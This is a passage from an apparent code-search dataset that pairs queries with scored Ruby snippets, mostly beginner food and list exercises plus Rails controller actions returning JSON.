"text": "def bananas(list)\n if list.include?(\"bananas\")\n puts \"Don't forget the bananas!\"\n else\n puts \"No bananas on the list today!\"\n end\nend",
"title": ""
},
{
"docid": "d28988c17011b3d3ffdc8b0f3eef976c",
"score": "0.71307266",
"text": "def find_the_cheese(array)\n array.find do |cheese|\n cheese == \"cheddar\" || cheese == \"gouda\" || cheese == \"camembert\"\n end\nend",
"title": ""
},
{
"docid": "9ed8a12b6dff3be92c2557ca20ca31e4",
"score": "0.7129956",
"text": "def find_the_cheese(potentially_cheesy_items)\n cheeses = %w(gouda cheddar camembert)\n\n potentially_cheesy_items.find do |maybe_cheese|\n cheeses.include?(maybe_cheese)\n end\nend",
"title": ""
},
{
"docid": "94b4b6e81c0be1f7349e08c7085a6783",
"score": "0.7121462",
"text": "def find_the_cheese(potentially_cheesy_items)\n cheeses = %w[gouda cheddar camembert]\n\n potentially_cheesy_items.find do |maybe_cheese|\n cheeses.include?(maybe_cheese)\n end\nend",
"title": ""
},
{
"docid": "3302d351246a91b70aaf98c66199c4b4",
"score": "0.7071913",
"text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n cheese = array & cheese_types\n if cheese.size != 0\n cheese[0]\n end\nend",
"title": ""
},
{
"docid": "d3b6e21d92fde003beb3fc3e9da61f2a",
"score": "0.7058398",
"text": "def find_the_cheese(array)\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\", \"brie\"]\n array.find {|element| !cheese_types.include?(element)}\nend",
"title": ""
},
{
"docid": "a46f826411e01eca356e383429cb536b",
"score": "0.69288665",
"text": "def favorite_food(name)\n if name == \"Lister\"\n return \"vindaloo\"\n end\n if name == \"Rimmer\"\n return \"mashed potatoes\"\n end\n\n \"hard to say...maybe fried plantain?\"\nend",
"title": ""
},
{
"docid": "03857a614390530241411b71baaa37e1",
"score": "0.6900729",
"text": "def favorite_food name\n if name == 'Lister'\n return 'vindaloo'\n end\n if name == 'Rimmer'\n return 'mashed potatoes'\n end\n 'hard to say... maybe fried plantain?'\nend",
"title": ""
},
{
"docid": "db0e048692bacb43eb27ad58c121ed89",
"score": "0.6865046",
"text": "def delicious (foods)\n foods.each do |food, quality|\n if quality == \"delicious\"\n puts food\n end\n end\nend",
"title": ""
},
{
"docid": "57def4a7157ab846b1db8f2cfd2a70ef",
"score": "0.6831441",
"text": "def find_chicken_by_name(name, array) # adding the array variable allows is to pass in any array we have\n for chicken in array\n if chicken[:name] == name # conditionally searches for the name that is provided\n return chicken # using return is better than print as we want to be able to pass values to more code\n end\n end\nend",
"title": ""
},
{
"docid": "083876547fc66efe3c3833f20f9cbe48",
"score": "0.6828869",
"text": "def find_the_cheese(food)\n cheese_arr = [\"cheddar\", \"gouda\", \"camembert\"]\n\n # binding.pry\n\n food.find { |flibble| cheese_arr.include?(flibble) }\n\nend",
"title": ""
},
{
"docid": "0f4b3def63187e238821fc0a8d8f01aa",
"score": "0.6754257",
"text": "def taste (food)\n\tif food == \"bacon\"\n\t\tputs \"Yummy !!Bacon!!\"\n\telsif food == \"spinach\"\n\t\tputs \"Urgh\"\n\telse\n\t\tputs \"Can I have some bacon on the side?\"\n\tend\nend",
"title": ""
},
{
"docid": "ad9729600805a06f1f21ecc8b145fccb",
"score": "0.6673589",
"text": "def favorite_food name\n if name == 'Lister'\n return 'vidaloo'\n end\n if name == 'Rimmer'\n return 'mashed potatoes\n ' hard to say maybe fried plantain?'\n end\nend",
"title": ""
},
{
"docid": "7b2efc8ed99f54bcbac5bbf0e73d1d7b",
"score": "0.6671697",
"text": "def like_cats (cats)\n if cats == \"Yes\"\n puts \"Elson likes cats too.\"\n elsif cats == \"No\"\n puts \"Dogs are better!\" \n else\n puts \"Its hard to describe...\"\n end\nend",
"title": ""
},
{
"docid": "7b059468ab5496563b57887662bd1107",
"score": "0.66013753",
"text": "def good(food)\n is_pizza?(food) || is_burger?(food)\n end",
"title": ""
},
{
"docid": "966dfe0ff1c42c47a23dc134fe550378",
"score": "0.65703994",
"text": "def check_food_liking( person_var, food_var )\n person_food_array = person_var[:favourites][:things_to_eat]\n bool_var = person_food_array.include?(food_var)\n return bool_var\nend",
"title": ""
},
{
"docid": "5a70e385891b946d91c017bcc5985b74",
"score": "0.65547305",
"text": "def check_b(list)\n if list.include?(\"bananas\") == true\n puts \"You don't need to pick up bananas today.\"\n else\n puts \"You need to pick up bananas!\"\n end\nend",
"title": ""
},
{
"docid": "253cd826cc5389b43d5fd2df0cb1c709",
"score": "0.6544617",
"text": "def favorite_food name\n\tif name == \"Lister\"\n\t\treturn \"Vindaloo\"\n\tend\n\n\tif name == \"Rimmer\"\n\t\treturn \"Mashed potatoes\"\n\tend\n\n\t\"Hard to say ... maybe fried plantain?\"\n\nend",
"title": ""
},
{
"docid": "563de8bd6632e4cb72252b142160d7c5",
"score": "0.6520505",
"text": "def find_cheese\n puts \"Lactose Intolerance Warning:\"\n @restaurants.each do |res|\n res[:dishes].each do |dish|\n if dish[:ingredients].include? \"cheese\" \n puts \"~#{res[:name]}~ #{dish[:name]} contains cheese!\"\n end\n end\n end\nend",
"title": ""
},
{
"docid": "58bec4a10c247c8b2b1ce479f47ab721",
"score": "0.6507571",
"text": "def isFood(nameOfProd)\n if nameOfProd =~ /chocolate/i #we can add more foods here in the future\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "00344fe6aad19bae62ac79dbc3d244f5",
"score": "0.64895236",
"text": "def check_list(x)\n if x.include? \"bananas\"\n puts \"You need to pick up bananas\"\n else\n puts \"You don't need to pick up bananas today.\"\n end\nend",
"title": ""
},
{
"docid": "f6e1afe274dfff5ce18198d21fb3e9c9",
"score": "0.6477447",
"text": "def rate_my_food(food)\n case food\n when \"Steak\" \n \"Pass the steak sauce! That's delicious!\"\n when \"Sushi\"\n \"Great choice, my favourite food\"\n when \"Tacos\", \"Burritos\", \"Quesadillas\"\n \"Yum yum! I love Mexican food\"\n when \"Tofu\", \"Brussel Sprouts\"\n \"Disgusting! Yuck!\"\n else \n \"I haven't tried that food\"\n end\nend",
"title": ""
},
{
"docid": "6a8f77ae1df931314f4ad0e716b4c24f",
"score": "0.64495003",
"text": "def check_the_list(item_to_find, list_array)\n if list_array.include?(item_to_find) == true\n return puts \"You don't need #{item_to_find}\"\n else\n return puts \"You need to get some #{item_to_find}\"\n end\nend",
"title": ""
},
{
"docid": "d50a991e54be6127875ac36e1c08de37",
"score": "0.64451915",
"text": "def get_spicy_food_by_cuisine(spicy_foods, cuisine)\n spicy_foods.find do |spicy_food|\n spicy_food[:cuisine] == \"#{cuisine}\"\n end\n\nend",
"title": ""
},
{
"docid": "60e8921e46face15e0f4f44f78cf44d5",
"score": "0.6440445",
"text": "def rate_my_food(food)\n case food\n when \"Steak\"\n \"Pass the sauce! Delicioius!\"\n when \"Sushi\"\n \"All right, pass the wasabi!\"\n when \"Lasagna\", \"Pizza\", \"Canelloni\"\n \"My favourite comfort food!\"\n when \"Daal\"\n \"Very healthy, well done!\"\n else\n \"I don't know about this food.\"\n end\nend",
"title": ""
},
{
"docid": "ec87984a01d3f077eda446ce3a290f45",
"score": "0.64201725",
"text": "def rate_my_food(food)\n case food\n when \"Steak\"\n puts \"I love steaks! Pass the sauce!\"\n when \"sushi\"\n puts \"It's my favourite!\"\n when \"Lasagne\"\n puts \"That's sth for me!\"\n when \"spaghetti\", \"pizza\", \"tiramisu\"\n puts \"I don't like it!\"\n else\n \"I don't know about that food\"\n end\nend",
"title": ""
},
{
"docid": "9bdb3f65d38d2e7b3af6c012a34f66a5",
"score": "0.64167273",
"text": "def taste(food)\n\tif food == \"bacon\"\n\t\tputs \"That's a trendy choice\"\n\tend\nend",
"title": ""
},
{
"docid": "6e3e01699d4fe58605e72186e3d7643b",
"score": "0.64031535",
"text": "def sandwich(meat_type, cheese_type, bread_type)\n puts \"You have a #{meat_type} and #{cheese_type} sandwich on #{bread_type} bread.\"\n puts \"Enjoy!\\n\"\nend",
"title": ""
},
{
"docid": "f62ea99ad71dbd2b311eb97037a68464",
"score": "0.6399267",
"text": "def search_name (name)\n array = [\"jack\", \"john\", \"julie\"]\n if array.include?(name)\n return \"hello #{name}\"\n else\n return \"Who goes there?\"\n end\nend",
"title": ""
},
{
"docid": "22834add672d37fd4298e76429dc8d27",
"score": "0.6389635",
"text": "def food_check(person,food)\n return person[:favourites][:things_to_eat].include?(food)\nend",
"title": ""
},
{
"docid": "56742b824c9db577ea18511628eb4f6f",
"score": "0.63792855",
"text": "def is_pizza?(food)\n food == 'Pizza'\n end",
"title": ""
},
{
"docid": "95d720f764556303edc73db1391cb262",
"score": "0.63684577",
"text": "def ice_cream_shop(flavors, favorite)\n if flavors.empty?\n false\n elsif flavors[0] == favorite\n true\n else\n ice_cream_shop(flavors[1..-1], favorite)\n end\nend",
"title": ""
},
{
"docid": "d7559001a2ac0a270243a18dac2895e5",
"score": "0.6367692",
"text": "def get_spicy_food_by_cuisine(spicy_foods, cuisine)\n\nend",
"title": ""
},
{
"docid": "d7559001a2ac0a270243a18dac2895e5",
"score": "0.6367692",
"text": "def get_spicy_food_by_cuisine(spicy_foods, cuisine)\n\nend",
"title": ""
},
{
"docid": "4c8f2e6bcf2778ffc743008b63814445",
"score": "0.6357758",
"text": "def favorite_food name\n\tif name == 'Lister'\n\t\treturn 'vindaloo'\n\tend\n\n\tif name == 'Rimmer'\n\t\treturn 'mashed potatoes'\n\tend\n\n\t'hard to say...maybe friend plantain?'\nend",
"title": ""
},
{
"docid": "f12abb6a0acc7ccbd49506887b298251",
"score": "0.63478833",
"text": "def locate_item(list, item)\nif list.include?(\"#{item}\")\n puts \"You need to pick up #{item}.\"\nelse\n puts \"You don't need to pick up #{item} today.\"\nend\nend",
"title": ""
},
{
"docid": "3f65d862449e9dffcf47f37d7f6640ab",
"score": "0.6338572",
"text": "def ice_cream_shop(flavors, favorite)\n return false if flavors == [] # if flavors is an empty array then return false, base case, love it, good problem for sure, so great\n flavors[0] == favorite || ice_cream_shop(flavors[1..-1], favorite) # return true if either of these are true, either the flavor is found in this first index or in every other index until this thing hits rock bottom in flavors, in which case return false all the way up\nend",
"title": ""
},
{
"docid": "850edf2ccd5c8680b2f34e77ba8304f4",
"score": "0.632774",
"text": "def favorite_food?(food_item)\n # use map to create a new array, where every element of the original array is downcased\n # then check if the downcased version of the argument passed is included in this new array\n @favorite_foods.map {|food|food.downcase}.include?(food_item.downcase)\n end",
"title": ""
},
{
"docid": "6a551ab8496f1668f2f09147707c75a9",
"score": "0.63199836",
"text": "def breakfast(food=\"cereal\")\n puts \"everyday is a good day for #{food}\"\nend",
"title": ""
},
{
"docid": "f8deb65cf568e37e06e08689593c9859",
"score": "0.6299379",
"text": "def breakfast(food=\"French Toast\")\n puts \"You can eat #{food} for Breakfast, Lunch or Dinner even though it is a Breakfast food.\"\nend",
"title": ""
}
] |
f15ff84e9c7ea035dce01148068ecc3d
|
GET /juzgados/1 GET /juzgados/1.json
|
[
{
"docid": "88c756e63a4c81a3007bdcb71513370c",
"score": "0.7174362",
"text": "def show\n seleccionarMenu(:juzgados)\n @juzgado = Juzgado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @juzgado }\n end\n end",
"title": ""
}
] |
[
{
"docid": "2795a913818efd74cf11153121f22fcc",
"score": "0.7205248",
"text": "def index\n seleccionarMenu(:juzgados)\n @juzgados = Juzgado.order(:ciudad_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @juzgados }\n end\n end",
"title": ""
},
{
"docid": "e22ec3519bd49a8294f422a792e07e54",
"score": "0.6903988",
"text": "def index\n @uchronias = Uchronia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uchronias }\n end\n end",
"title": ""
},
{
"docid": "519198608870334ec6a6d2e8eca03bec",
"score": "0.68925154",
"text": "def index\n @interno_unidads = InternoUnidad.all\n render json: @interno_unidads\n end",
"title": ""
},
{
"docid": "99d8efeadccadf05f120bb8f55da2d0a",
"score": "0.6856081",
"text": "def index\n @usuarios = Usuario.por_colegio(colegio.id).order(\"nombre\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usuarios }\n end\n end",
"title": ""
},
{
"docid": "ee876d6106639f4f59aa9d8aecc493c1",
"score": "0.6802869",
"text": "def show\n @jugador = Jugador.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jugador }\n end\n end",
"title": ""
},
{
"docid": "bbb10f3a3ea17e4847cce450a58e79a7",
"score": "0.679568",
"text": "def index\n @ores = Ore.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ores }\n end\n end",
"title": ""
},
{
"docid": "4a36e43b114e862838e617104326fd77",
"score": "0.6788515",
"text": "def index\n @tutorados = Tutorado.all\n\n render json: @tutorados, status: :ok\n end",
"title": ""
},
{
"docid": "0de35831f7d677c5b200daa818ca23f9",
"score": "0.6719317",
"text": "def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end",
"title": ""
},
{
"docid": "f50afcdd48754e28f975a481de124947",
"score": "0.66939706",
"text": "def index\n @minicursos = Minicurso.all\n\t\t#@minicursos = Minicurso.scoped\n\t\t#@users = Minicurso.inscritos(params[:id]) if params[:id].present?\n\n respond_to do |format|\n\t\t\t format.html # index.html.erb\n\t\t\t format.json { render json: @minicursos }\n end\n end",
"title": ""
},
{
"docid": "61ad40708ba4051f482c14b569a58e48",
"score": "0.6664558",
"text": "def index\n \treclamos = Reclamo.all\n \trender json: reclamos.to_json(include: [:tipo_reclamo, :ubicacion, :user], methods: [:valoracion])\n end",
"title": ""
},
{
"docid": "bc6094ec43cff1c7657dd475b82e0d48",
"score": "0.6661416",
"text": "def show\n @usuario = Usuario.find(params[:id])\n\n render json: @usuario\n end",
"title": ""
},
{
"docid": "051596d853b10a5f78288f93ec1980d5",
"score": "0.66580456",
"text": "def show\n @uchronia = Uchronia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uchronia }\n end\n end",
"title": ""
},
{
"docid": "ac4ca9e48c13c74a245fea3d1e2b9236",
"score": "0.66226107",
"text": "def index\n @usuarios = Usuario.all\n\n @users = Usuario.all.order(:id)\n @users.each do |u|\n puts u.id\n end\n #render json: @usuarios\n render 'index.json.jbuilder'\n end",
"title": ""
},
{
"docid": "795bdb10ccc0ba72ac9ce844efafbc6d",
"score": "0.6600539",
"text": "def index\n @anuncios = Anuncio.all\n render json: @anuncios, status: :ok\n end",
"title": ""
},
{
"docid": "82397217f200ac5b6a0a9bd99ec59c80",
"score": "0.6598003",
"text": "def show\n @usuario = Usuario.find(params[:id])\n render json: @usuario\n end",
"title": ""
},
{
"docid": "82397217f200ac5b6a0a9bd99ec59c80",
"score": "0.6598003",
"text": "def show\n @usuario = Usuario.find(params[:id])\n render json: @usuario\n end",
"title": ""
},
{
"docid": "73816dbb4c0ba442c022c8a68cbd0532",
"score": "0.65938294",
"text": "def new\n @uf = Uf.first\n @municipios = @uf.municipios\n @cargo_eleicao = Eleicao.find(:first, :conditions => \"status = true\").cargo_eleicaos\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cargo_eleicao }\n end\n end",
"title": ""
},
{
"docid": "1cd5dfafdbefd1dfa40eaa4853204598",
"score": "0.6583006",
"text": "def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end",
"title": ""
},
{
"docid": "8d407309d261aba445520b4e0d0b9d6c",
"score": "0.6577258",
"text": "def index\n @ruas = Rua.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ruas }\n end\n end",
"title": ""
},
{
"docid": "2f0e48cd280bebedafcc1202c585653c",
"score": "0.65677243",
"text": "def index\n @grupoassuntos = Grupoassunto.all\n\n render json: @grupoassuntos\n end",
"title": ""
},
{
"docid": "29e6b25b6ade3ff5c7039a339c803314",
"score": "0.6565984",
"text": "def index\n @instituicoes = Instituicao.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @instituicoes }\n end\n end",
"title": ""
},
{
"docid": "fb460708083f382d39df685fb161b45e",
"score": "0.65659034",
"text": "def index\n @municipios = Municipio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @municipios }\n end\n end",
"title": ""
},
{
"docid": "5fab140dfcd2d488a1bb140d0e112b17",
"score": "0.6561691",
"text": "def index\n @tipo_usuarios = TipoUsuario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tipo_usuarios }\n end\n end",
"title": ""
},
{
"docid": "9bd207cdce5437cac9ceee56e5cd9716",
"score": "0.6548843",
"text": "def index\n @ginasios = Ginasio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ginasios }\n end\n end",
"title": ""
},
{
"docid": "eaaa4b51bff96b54245dc018dd6355ec",
"score": "0.6532868",
"text": "def show\n @jornada = Jornada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jornada }\n end\n end",
"title": ""
},
{
"docid": "86ac0b07d19a58a7b17af21d27b65509",
"score": "0.6531186",
"text": "def show\n @leito = Leito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leito }\n end\n end",
"title": ""
},
{
"docid": "2ed0007f068daf4224815d3afee2c1ae",
"score": "0.65308297",
"text": "def show\n @osoba = Osoba.find(params[:id])\n\n render json: @osoba\n end",
"title": ""
},
{
"docid": "9070fd68a2dd1f7a4d58b48cfecfc4d9",
"score": "0.6530615",
"text": "def index\n render json: @fiestas\n end",
"title": ""
},
{
"docid": "bdfa28f9f19d9ef910dd981ca9e796c8",
"score": "0.65211636",
"text": "def index\n @deporte_usuarios = DeporteUsuario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deporte_usuarios }\n end\n end",
"title": ""
},
{
"docid": "a424d6f751ec28cc3ee75b5d4773c292",
"score": "0.65204066",
"text": "def show\r\n @imobiliaria = Imobiliaria.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.json { render json: @imobiliaria }\r\n end\r\n end",
"title": ""
},
{
"docid": "a6f71ed568cbf0d08f1411cac3fe7a6f",
"score": "0.6514237",
"text": "def index\n @seguridad_usuarios = Seguridad::Usuario.order('usuario')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @seguridad_usuarios }\n end\n end",
"title": ""
},
{
"docid": "c5f4352734d31e73e4aafc71fb1b8228",
"score": "0.6498856",
"text": "def index\n if params[:estado]\n @municipios = Uf.find(params[:estado]).municipios\n else\n @municipios = Uf.first.municipios\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @municipios }\n end\n end",
"title": ""
},
{
"docid": "39519da370dbbb79be7df588d59b909f",
"score": "0.6498241",
"text": "def index\n @premios = Premio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @premios }\n end\n end",
"title": ""
},
{
"docid": "003d3b2e235beab57783939af7c2a308",
"score": "0.6496773",
"text": "def get_ponto\n render json: Usuario.ultimo_ponto(params[:user_id], params[:evento_id]).to_json\n end",
"title": ""
},
{
"docid": "316710b2bc6765f66b83705f4b7966b5",
"score": "0.6495245",
"text": "def index\n @preparatoria_o_universidad_de_origens = PreparatoriaOUniversidadDeOrigen.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @preparatoria_o_universidad_de_origens }\n end\n end",
"title": ""
},
{
"docid": "541ead84016a78c910d43c9b35c94a2b",
"score": "0.649389",
"text": "def index\n if params[:usuario_producto]\n @usuario = Usuario.find(params[:usuario_id])\n render json: @usuario.productos\n else\n @productos = Producto.all\n render json: @productos\n end\n end",
"title": ""
},
{
"docid": "d4f5e3d9580bce75ce5f184c1109dde8",
"score": "0.64930576",
"text": "def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end",
"title": ""
},
{
"docid": "89fc85ed9499d945be2bcc2ba1f291a1",
"score": "0.6490113",
"text": "def index\n @jogos = Jogo.por_titulo(params[:titulo])\n end",
"title": ""
},
{
"docid": "3e2b4e46ab9ad18e8bfe4c93bea6d22c",
"score": "0.6486094",
"text": "def index\n #para mostrar solo los post del usuario actual\n @posts = Post.where(usuario_id: current_usuario.id).all\n puts \"USUARIOOOO\"\n puts current_usuario.to_json\n\n #@posts = Post.all\n end",
"title": ""
},
{
"docid": "ba19362bc995c2ac9b3c875670d7ebd0",
"score": "0.6475687",
"text": "def new\n seleccionarMenu(:juzgados)\n @juzgado = Juzgado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @juzgado }\n end\n end",
"title": ""
},
{
"docid": "0c949be3529c426b12bde97bbafed525",
"score": "0.6468545",
"text": "def index\n @usuarios = Usuario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usuarios }\n end\n end",
"title": ""
},
{
"docid": "0c949be3529c426b12bde97bbafed525",
"score": "0.6468545",
"text": "def index\n @usuarios = Usuario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usuarios }\n end\n end",
"title": ""
},
{
"docid": "0c949be3529c426b12bde97bbafed525",
"score": "0.6468545",
"text": "def index\n @usuarios = Usuario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usuarios }\n end\n end",
"title": ""
},
{
"docid": "71a6d11712221b186dae659947830e64",
"score": "0.6461963",
"text": "def index\n @familia = Familium.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @familia }\n end\n end",
"title": ""
},
{
"docid": "14b9b4bf00a66c93d89bcb5f4b5e19a0",
"score": "0.64608955",
"text": "def show\n @lieu = Lieu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lieu }\n end\n end",
"title": ""
},
{
"docid": "c60decdcfe5104a1aba3ab778dfaa518",
"score": "0.6453881",
"text": "def index\n @puntajes = Puntaje.order('created_at DESC').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @puntajes }\n end\n end",
"title": ""
},
{
"docid": "7e5c477627dc88ecf4bcdba40815b258",
"score": "0.64520615",
"text": "def show\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @veiculo }\n end\n end",
"title": ""
},
{
"docid": "23933fc26a5a16452e9e6b8ea10c7016",
"score": "0.6448751",
"text": "def index\n @users = User.all\n @title = \"Пользователи\"\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"title": ""
},
{
"docid": "a77fb544011693c601aa2a3cb53ec3c1",
"score": "0.64452624",
"text": "def index\n @ofertas = Oferta.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ofertas }\n end\n end",
"title": ""
},
{
"docid": "d6bedea6c0fdb42b8a2b5a6435721cde",
"score": "0.6442309",
"text": "def index\n @pagamentos = Pagamento.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pagamentos }\n end\n end",
"title": ""
},
{
"docid": "c60b238c3521beccf70fc2e7d3914947",
"score": "0.64362824",
"text": "def index\n @ultimo_grado_de_estudios = UltimoGradoDeEstudio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ultimo_grado_de_estudios }\n end\n end",
"title": ""
},
{
"docid": "a19c112ab83a509d10e657d00424e869",
"score": "0.64330614",
"text": "def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end",
"title": ""
},
{
"docid": "68575245429ae5c17176b140fc38d32a",
"score": "0.6431234",
"text": "def index\n @formatos = Formato.where(ativo: true)\n \t\n render json: @formatos\n end",
"title": ""
},
{
"docid": "be6b48acfeb95992270a4f9bd24ec144",
"score": "0.6430862",
"text": "def show\n @humanidades1 = Humanidades1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades1 }\n end\n end",
"title": ""
},
{
"docid": "c42ad8af3b682752a3695451fd942cb7",
"score": "0.6428916",
"text": "def show\n @cuerpo = Cuerpo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cuerpo }\n end\n end",
"title": ""
},
{
"docid": "52aa6e9430985c1e85858051dbd247e7",
"score": "0.64222115",
"text": "def show\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puntaje }\n end\n end",
"title": ""
},
{
"docid": "52aa6e9430985c1e85858051dbd247e7",
"score": "0.64222115",
"text": "def show\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puntaje }\n end\n end",
"title": ""
},
{
"docid": "772aff07a74df7c87aba0299cc1ceaf3",
"score": "0.64167476",
"text": "def index\n\t\trender json: { prueba: 'Funciona'}\n\tend",
"title": ""
},
{
"docid": "a88c829f4228342e1650f4289aef1a30",
"score": "0.64165527",
"text": "def index\n @acuerdos = Acuerdo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @acuerdos }\n end\n end",
"title": ""
},
{
"docid": "d4ab968496245c3e5808387c81e09096",
"score": "0.6414689",
"text": "def index\n @pagamentos = Pagamento.page(params[:page]).per(NUMERO_POR_PAGINA)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pagamentos }\n end\n end",
"title": ""
},
{
"docid": "6d3a2027b0873d69941bbdec3c5b6c11",
"score": "0.64144766",
"text": "def index\n @pedidos = Pedido.find(:all,:conditions=> {:status => [0], :user_id => current_user.id})\n if @pedidos.count > 0\n @imagen_pedidos = @pedidos[0].imagen_pedidos\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @imagen_pedidos }\n end\n else\n redirect_to pedidos_path, notice: 'No tiene pedidos pendientes'\n end\n end",
"title": ""
},
{
"docid": "d5dcacfbbd4342135e1992b7de5199b2",
"score": "0.6404973",
"text": "def index\r\n @imobiliarias = Imobiliaria.all\r\n\r\n respond_to do |format|\r\n # format.html # index.html.erb\r\n format.json { render json: @imobiliarias }\r\n end\r\n end",
"title": ""
},
{
"docid": "c0866dddd93bf4580f20675ca79d2817",
"score": "0.63981473",
"text": "def index\n @ativo_outros = AtivoOutro.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ativo_outros }\n end\n end",
"title": ""
},
{
"docid": "4a4f52896cc9bcce446a8f4d9b4cd450",
"score": "0.6389808",
"text": "def index\n #@users = User.all\n @respuesta = Consulta.new(300,params[0])\n\n respond_to do |format|\n format.json { render json: @respuesta }\n \n end\n end",
"title": ""
},
{
"docid": "48dce95b67df2b651d466bbe0a1dd349",
"score": "0.63883734",
"text": "def index\n @departamentos = Departamento.all\n\n render json: @departamentos\n end",
"title": ""
},
{
"docid": "34a25c301dd48793e4826be4355e189d",
"score": "0.6386427",
"text": "def index\n @asociados = Asociado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @asociados }\n end\n end",
"title": ""
},
{
"docid": "27e573de0a9f9358a921327d242e769f",
"score": "0.638292",
"text": "def index\n @usuarios = Usuario.all\n @usuarios_json = @usuarios.to_json\n end",
"title": ""
},
{
"docid": "65957ac265846be0a2b0c2de3bfc3a51",
"score": "0.6381119",
"text": "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"title": ""
},
{
"docid": "65957ac265846be0a2b0c2de3bfc3a51",
"score": "0.6381119",
"text": "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"title": ""
},
{
"docid": "d13d390466b4ce4e5fc4c1968597d221",
"score": "0.6379357",
"text": "def index\n @pedidos = Pedido.find(:all, :conditions => [\"cliente_id=?\", session[:usuario_id]])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pedidos }\n end\n end",
"title": ""
},
{
"docid": "2b7e33a944eeb60aa7eecc09e3985156",
"score": "0.6378792",
"text": "def show\n @guille = Guille.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @guille }\n end\n end",
"title": ""
},
{
"docid": "0661e3b5d860605201d73526bbfbdf71",
"score": "0.63769156",
"text": "def index\n @usuarios = Usuario.all\n # respond_to do |format|\n # format.html\n # format.json { render :json => @usuarios }\n # end\n end",
"title": ""
},
{
"docid": "bbdd4c9fb227e11b3fbf2049dd5a688b",
"score": "0.63725007",
"text": "def index\n @prueba_jsons = PruebaJson.all\n end",
"title": ""
},
{
"docid": "31e23722f7b381278d02bb4a0893ac9a",
"score": "0.6370593",
"text": "def show\n render json: @tutorado, status: :ok\n end",
"title": ""
},
{
"docid": "c27fa0288a5d23a490a9cd96266a3660",
"score": "0.6369272",
"text": "def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end",
"title": ""
},
{
"docid": "113c0969d1dade8f6e788aae57f4cd76",
"score": "0.6362424",
"text": "def index\n @palestrantes = Palestrante.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @palestrantes }\n end\n end",
"title": ""
},
{
"docid": "fa6a922bc92962576f68df95677c6c00",
"score": "0.6358947",
"text": "def index\n @peticion_servicio_tis = Peticion::ServicioTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_servicio_tis }\n end\n end",
"title": ""
},
{
"docid": "fedd3901d1fbc487a80b3dd5b1ebfcfb",
"score": "0.63559616",
"text": "def show\n @logjuego = Logjuego.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @logjuego }\n end\n end",
"title": ""
},
{
